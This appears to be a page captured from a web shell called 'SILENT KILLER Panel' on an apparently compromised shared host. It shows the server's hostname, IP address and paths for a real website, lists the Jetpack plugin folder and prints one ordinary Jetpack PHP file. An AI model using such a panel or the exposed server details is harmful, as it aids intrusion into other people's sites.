SILENT KILLERPanel

Current Path: > home > codekrsu > > ameliagraphics.com > wp-content > plugins > jetpack > >


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/codekrsu//ameliagraphics.com/wp-content/plugins/jetpack//

NameTypeSizeLast ModifiedActions
3rd-party Directory - -
_inc Directory - -
css Directory - -
extensions Directory - -
images Directory - -
jetpack_vendor Directory - -
json-endpoints Directory - -
modules Directory - -
sal Directory - -
src Directory - -
vendor Directory - -
views Directory - -
CHANGELOG.md File 737759 bytes July 01 2025 19:41:26.
LICENSE.txt File 18416 bytes May 25 2021 21:58:16.
SECURITY.md File 2506 bytes October 24 2023 18:28:46.
class-jetpack-connection-status.php File 728 bytes September 20 2023 01:19:10.
class-jetpack-gallery-settings.php File 3464 bytes May 22 2023 19:04:58.
class-jetpack-newsletter-dashboard-widget.php File 389 bytes April 14 2025 18:35:52.
class-jetpack-pre-connection-jitms.php File 2394 bytes March 25 2024 22:39:50.
class-jetpack-stats-dashboard-widget.php File 7650 bytes March 24 2025 20:00:02.
class-jetpack-xmlrpc-methods.php File 7569 bytes March 03 2025 23:09:58.
class.frame-nonce-preview.php File 3294 bytes February 04 2025 00:54:10.
class.jetpack-admin.php File 18929 bytes January 20 2025 22:16:12.
class.jetpack-autoupdate.php File 9978 bytes September 20 2023 01:19:10.
class.jetpack-cli.php File 73114 bytes April 28 2025 19:38:34.
class.jetpack-client-server.php File 2684 bytes March 27 2024 18:05:28.
class.jetpack-gutenberg.php File 46183 bytes June 24 2025 00:56:26.
class.jetpack-heartbeat.php File 4664 bytes September 20 2023 01:19:10.
class.jetpack-modules-list-table.php File 15150 bytes October 26 2023 22:22:40.
class.jetpack-network-sites-list-table.php File 6126 bytes February 06 2024 01:39:50.
class.jetpack-network.php File 21575 bytes January 20 2025 22:16:12.
class.jetpack-plan.php File 4192 bytes June 19 2023 23:16:28.
class.jetpack-post-images.php File 37115 bytes June 10 2025 00:40:16.
class.jetpack-twitter-cards.php File 13230 bytes November 25 2023 02:41:46.
class.jetpack-user-agent.php File 25911 bytes May 20 2024 23:33:44.
class.jetpack.php File 207789 bytes June 30 2025 22:28:24.
class.json-api-endpoints.php File 93808 bytes June 05 2025 20:49:04.
class.json-api.php File 38218 bytes March 13 2025 00:23:22.
class.photon.php File 1778 bytes May 08 2023 20:57:46.
composer.json File 4174 bytes July 01 2025 19:41:26.
enhanced-open-graph.php File 4493 bytes May 19 2025 19:32:00.
functions.compat.php File 4415 bytes May 26 2025 19:03:40.
functions.cookies.php File 2087 bytes November 21 2023 17:47:06.
functions.global.php File 14247 bytes June 16 2025 23:21:40.
functions.is-mobile.php File 2529 bytes September 20 2023 01:19:10.
functions.opengraph.php File 21897 bytes November 12 2024 03:13:18.
functions.photon.php File 3110 bytes September 20 2023 01:19:10.
jetpack.php File 8779 bytes July 01 2025 19:41:26.
json-api-config.php File 338 bytes November 08 2022 02:55:22.
json-endpoints.php File 7091 bytes September 20 2023 01:19:10.
load-jetpack.php File 3176 bytes April 21 2025 18:58:58.
locales.php File 324 bytes March 23 2022 23:49:50.
readme.txt File 34050 bytes July 01 2025 19:42:24.
unauth-file-upload.php File 5124 bytes June 16 2025 23:21:40.
uninstall.php File 1642 bytes January 20 2025 22:16:12.
wpml-config.xml File 1289 bytes June 08 2022 20:47:30.

Reading File: /home/codekrsu//ameliagraphics.com/wp-content/plugins/jetpack///unauth-file-upload.php

<?php
/**
 * Unauthenticated File Upload Helper Functions.
 *
 * @package automattic/jetpack
 */

namespace Automattic\Jetpack\UnauthFileUpload;

add_action( 'wp_ajax_jetpack_unauth_file_download', __NAMESPACE__ . '\handle_file_download' );
add_filter( 'jetpack_unauth_file_upload_get_file', __NAMESPACE__ . '\get_file_content', 10, 2 );
add_filter( 'jetpack_unauth_file_download_url', __NAMESPACE__ . '\filter_get_download_url', 10, 2 );

/**
 * Get the file download URL filter callback.
 *
 * @param string $url The file download URL.
 * @param int    $file_id The file ID.
 *
 * @return string The file download URL.
 */
function filter_get_download_url( $url, $file_id ) {
	$nonce = wp_create_nonce( 'jetpack_unauth_file_download_nonce_' . $file_id );
	return add_query_arg(
		array(
			'action'   => 'jetpack_unauth_file_download',
			'file_id'  => $file_id,
			'_wpnonce' => $nonce,
		),
		admin_url( 'admin-ajax.php' )
	);
}

/**
 * Handle file download requests from the admin page.
 *
 * @return never This method never returns as it exits directly
 */
function handle_file_download() {
	if ( ! current_user_can( 'edit_pages' ) ) {
		wp_die( esc_html__( 'Sorry, you are not allowed to access this page.', 'jetpack' ) );
	}

	$file_id = isset( $_GET['file_id'] ) ? absint( wp_unslash( $_GET['file_id'] ) ) : 0;

	if ( ! $file_id ) {
		wp_die( esc_html__( 'Invalid file request.', 'jetpack' ) );
	}

	if (
		! isset( $_GET['_wpnonce'] ) ||
		! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'jetpack_unauth_file_download_nonce_' . $file_id ) ) {
		wp_die( esc_html__( 'Invalid nonce.', 'jetpack' ) );
	}

	/**
	 * Get the file content that we send to the user to download.
	 *
	 * @since 14.6
	 *
	 * @param array $file_content The file content.
	 * @param string $file_id The file ID.
	 *
	 * @return array|\WP_Error The file array, containing the content, name and type.
	 */
	$file = apply_filters( 'jetpack_unauth_file_upload_get_file', array(), $file_id );

	if ( is_wp_error( $file ) || empty( $file ) ) {
		wp_die( esc_html__( 'Error retrieving file content.', 'jetpack' ) );
	}

	$is_preview = isset( $_GET['preview'] ) && 'true' === $_GET['preview'];

	// Clean output buffer
	if ( ob_get_length() ) {
		ob_clean();
	}
	// Set headers for download
	header( 'Content-Type: ' . $file['type'] );

	if ( ! $is_preview ) {
		// Forcing the file to be downloaded is important to prevent XSS attacks.
		header( 'Content-Disposition: attachment; filename="' . sanitize_file_name( $file['name'] ) . '"' );
	} else {
		// For preview mode, use inline disposition
		header( 'Content-Disposition: inline; filename="' . sanitize_file_name( $file['name'] ) . '"' );
	}
	header( 'Content-Length: ' . strlen( $file['content'] ) );
	header( 'Content-Transfer-Encoding: binary' );
	header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
	header( 'Pragma: no-cache' );
	header( 'Expires: 0' );

	// Output file content and exit
	echo $file['content']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Binary file data
	exit;
}

/**
 * Get the file content.
 *
 * @param array   $file_content The file content, name and type.
 * @param integer $file_id The file ID.
 * @return array|\WP_Error The file content, name and type
 */
function get_file_content( $file_content, $file_id ) {
	if ( ( new \Automattic\Jetpack\Status\Host() )->is_wpcom_simple() ) {
		return $file_content;
	}

	$blog_id     = \Jetpack_Options::get_option( 'id' );
	$request_url = sprintf( '/sites/%d/unauth-file-upload/%s', $blog_id, $file_id );

	$response = \Automattic\Jetpack\Connection\Client::wpcom_json_api_request_as_blog(
		$request_url,
		'v2',
		array(
			'method' => 'GET',
		),
		null,
		'wpcom'
	);

	$file_content = wp_remote_retrieve_body( $response );

	if ( is_wp_error( $response ) || empty( $file_content ) ) {
		return new \WP_Error( 'jetpack_unauth_file_upload_error', esc_html__( 'Error retrieving file content.', 'jetpack' ) );
	}

	try {
		$content = json_decode( $file_content, true, 3, defined( 'JSON_THROW_ON_ERROR' ) ? \JSON_THROW_ON_ERROR : 0 ); // phpcs:ignore PHPCompatibility.Constants.NewConstants.json_throw_on_errorFound
		if ( isset( $content['message'] ) ) {
			return new \WP_Error( 'jetpack_unauth_file_upload_error', esc_html__( 'Error retrieving file content.', 'jetpack' ) );
		}
	} catch ( \Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch
		// If the file is not JSON, we assume it's a binary file.
	}

	$content_disposition = wp_remote_retrieve_header( $response, 'content-disposition' );
	$filename            = '';
	if ( $content_disposition ) {
		// Match the filename using a regular expression
		if ( preg_match( '/filename="([^"]+)"/', $content_disposition, $matches ) ) {
			$filename = $matches[1]; // Extract the filename
		}
	}

	$type = wp_remote_retrieve_header( $response, 'content-type' );
	if ( empty( $type ) ) {
		$type = 'application/octet-stream'; // Default to binary if no content type is found
	}

	return array(
		'content' => $file_content,
		'type'    => $type,
		'name'    => $filename,
	);
}

SILENT KILLER Tool